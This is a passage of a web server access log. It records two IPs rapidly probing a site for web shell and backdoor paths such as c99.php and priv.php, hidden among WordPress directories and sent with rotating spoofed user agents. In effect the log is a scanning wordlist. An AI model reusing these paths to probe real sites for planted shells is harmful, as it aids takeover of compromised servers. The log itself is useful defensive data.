AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:08 -0400] "GET /wp-zett.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 149.88.19.87 - - [23/Apr/2025:03:24:08 -0400] "GET /wp-admin/css/colors/ectoplasm/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:08 -0400] "GET /wp-content/themes/wp-pridmag/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:24:09 -0400] "GET /wp-admin/network/wp-xZ2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:09 -0400] "GET /.well-known/acme-challenge/zmFM.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:09 -0400] "GET /LV.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:09 -0400] "GET /images/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:09 -0400] "GET /wp-content/themes/pridmag/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:24:09 -0400] "GET /wp-admin/css/colors/light/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.85 - - [23/Apr/2025:03:24:09 -0400] "GET /wp-admin/css/go.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:09 -0400] "GET /wp-admin/css/colors/midnight/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:09 -0400] "GET /wp-content/themes/zakra/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:09 -0400] "GET /wp-includes/sitemaps/providers/zmFM.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:09 -0400] "GET /87.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:24:09 -0400] "GET /images/contact_en.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:24:09 -0400] "GET /images/exif.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:09 -0400] "GET /wp-admin/css/colors/modern/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:09 -0400] "GET /wp-content/uploads/simple-file-list/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:24:09 -0400] "GET /images/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:09 -0400] "GET /wp-admin/css/colors/ocean/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:24:09 -0400] "GET /admin/upload/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:24:09 -0400] "GET /wp-includes/pomo/zmFM.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:09 -0400] "GET /wp-admin/css/colors/inputs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:09 -0400] "GET /pi.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 149.88.19.85 - - [23/Apr/2025:03:24:10 -0400] "GET /wp-includes/email.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 149.88.19.87 - - [23/Apr/2025:03:24:10 -0400] "GET /wp-admin/images/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 149.88.19.87 - - [23/Apr/2025:03:24:10 -0400] "GET /wp-admin/css/colors/blue/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 149.88.19.87 - - [23/Apr/2025:03:24:10 -0400] "GET /wp-admin/css/colors/ectoplasm/zmFM.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:24:10 -0400] "GET /wp-admin/maint/commentz.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:10 -0400] "GET /wboom.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:24:10 -0400] "GET /uploads/phpimage.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:10 -0400] "GET /up/.well-known/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:24:10 -0400] "GET /wp-admin/js/widgets/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:10 -0400] "GET /wp-includes/PHPMailer/zmFM.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 149.88.19.87 - - [23/Apr/2025:03:24:10 -0400] "GET /wp-includes/Text/lufix.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:10 -0400] "GET /gettest.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:24:10 -0400] "GET /wp-includes/css/kses.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:10 -0400] "GET /wp-includes/ID3/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:24:10 -0400] "GET /wp-content/plugins/apikey/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:10 -0400] "GET /wp-includes/customize/zmFM.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:10 -0400] "GET /wp-includes/Text/Diff/Engine/doc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:10 -0400] "GET /wp-ok.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:10 -0400] "GET /wp-content/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:10 -0400] "GET /wp-includes/IXR/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 149.88.19.85 - - [23/Apr/2025:03:24:10 -0400] "GET /wp-includes/carson.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 149.88.19.87 - - [23/Apr/2025:03:24:11 -0400] "GET /wp-includes/certificates/zmFM.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:11 -0400] "GET /wp-includes/Text/Diff/rk2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:24:11 -0400] "GET /bionic.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 149.88.19.87 - - [23/Apr/2025:03:24:11 -0400] "GET /images/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:24:11 -0400] "GET /images/c99.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:24:11 -0400] "GET /wp-includes/PHPMailer/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:11 -0400] "GET /wp-includes/theme-compat/zmFM.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:24:11 -0400] "GET /wp-admin/css/colors/blue/images.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:11 -0400] "GET /css/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:24:11 -0400] "GET /wp-admin/maint/bak.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:24:11 -0400] "GET /wp-includes/Text/Diff/Engine/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:11 -0400] "GET /hidey.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:24:11 -0400] "GET /wp-content/plugins/seoxx/randkeyword.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:24:11 -0400] "GET /wp-includes/images/media/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.85 - - [23/Apr/2025:03:24:11 -0400] "GET /wp-admin/css/sidebarg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.87 - - [23/Apr/2025:03:24:11 -0400] "GET /wp-admin/css/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 149.88.19.87 - - [23/Apr/2025:03:24:11 -0400] "GET /wp-includes/pomo/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:12 -0400] "GET /myk.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:12 -0400] "GET /wp-content/plugins/erinyani/baxa1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 149.88.19.87 - - [23/Apr/2025:03:24:12 -0400] "GET /wp-includes/sitemaps/providers/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:24:12 -0400] "GET /images/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:12 -0400] "GET /wp-admin/js/maila.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:24:12 -0400] "GET /wp-includes/js/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:12 -0400] "GET /wp-content/plugins/view-more/ioxi.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:12 -0400] "GET /kajiwara.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:12 -0400] "GET /wp-includes/PHPMailer/doc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 149.88.19.87 - - [23/Apr/2025:03:24:12 -0400] "GET /wp-includes/widgets/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 149.88.19.87 - - [23/Apr/2025:03:24:12 -0400] "GET /wp-includes/SimplePie/XML/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.85 - - [23/Apr/2025:03:24:12 -0400] "GET /images/contact_en.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 149.88.19.87 - - [23/Apr/2025:03:24:12 -0400] "GET /NewFile.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:12 -0400] "GET /wp-sigunq.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:12 -0400] "GET /wp-content/uploads/indax.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:12 -0400] "GET /wp-includes/fonts/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:24:12 -0400] "GET /wp-content/uploads/wpr-addons/forms/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.85 - - [23/Apr/2025:03:24:12 -0400] "GET /wp-admin/css/colors/inputs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:24:13 -0400] "GET /heh.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:24:13 -0400] "GET /wp-admin/maint/commentz.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:24:13 -0400] "GET /wp-content/plugins/WordPressCore/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:24:13 -0400] "GET /wp-includes/images/crystal/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:24:13 -0400] "GET /wp-includes/fonts/plugin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 149.88.19.87 - - [23/Apr/2025:03:24:13 -0400] "GET /my1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 149.88.19.85 - - [23/Apr/2025:03:24:13 -0400] "GET /wp-includes/Text/lufix.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:13 -0400] "GET /wp-includes/images/media/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:13 -0400] "GET /wordpress/wp-admin/includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:13 -0400] "GET /.well-known/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:24:13 -0400] "GET /wp-admin/includes/logs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 149.88.19.87 - - [23/Apr/2025:03:24:13 -0400] "GET /aclass.api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:13 -0400] "GET /.well-known/pki-validation/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.87 - - [23/Apr/2025:03:24:13 -0400] "GET /files/careers.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:13 -0400] "GET /admin1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:24:13 -0400] "GET /wp-includes/Text/Diff/Engine/doc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:24:13 -0400] "GET /wp-includes/images/smilies/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:13 -0400] "GET /wp-includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:14 -0400] "GET /.well-known/acme-challenge/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:14 -0400] "GET /wp-signups.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 149.88.19.87 - - [23/Apr/2025:03:24:14 -0400] "GET /wp-admin/js/headert.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:24:14 -0400] "GET /wp-includes/Text/Diff/rk2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:24:14 -0400] "GET /wp-includes/js/codemirror/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:24:14 -0400] "GET /wp-includes/IXR/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 149.88.19.87 - - [23/Apr/2025:03:24:14 -0400] "GET /vendor/phpunit/phpunit/src/Util/PHP/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:24:14 -0400] "GET /wp-admin/css/colors/blue/images.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:14 -0400] "GET /wp-includes/js/plupload/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:14 -0400] "GET /wp-includes/SimplePie/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 149.88.19.87 - - [23/Apr/2025:03:24:14 -0400] "GET /cdm.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:14 -0400] "GET /wp-admin/css/sidebaru.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:24:14 -0400] "GET /wp-content/uploads/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 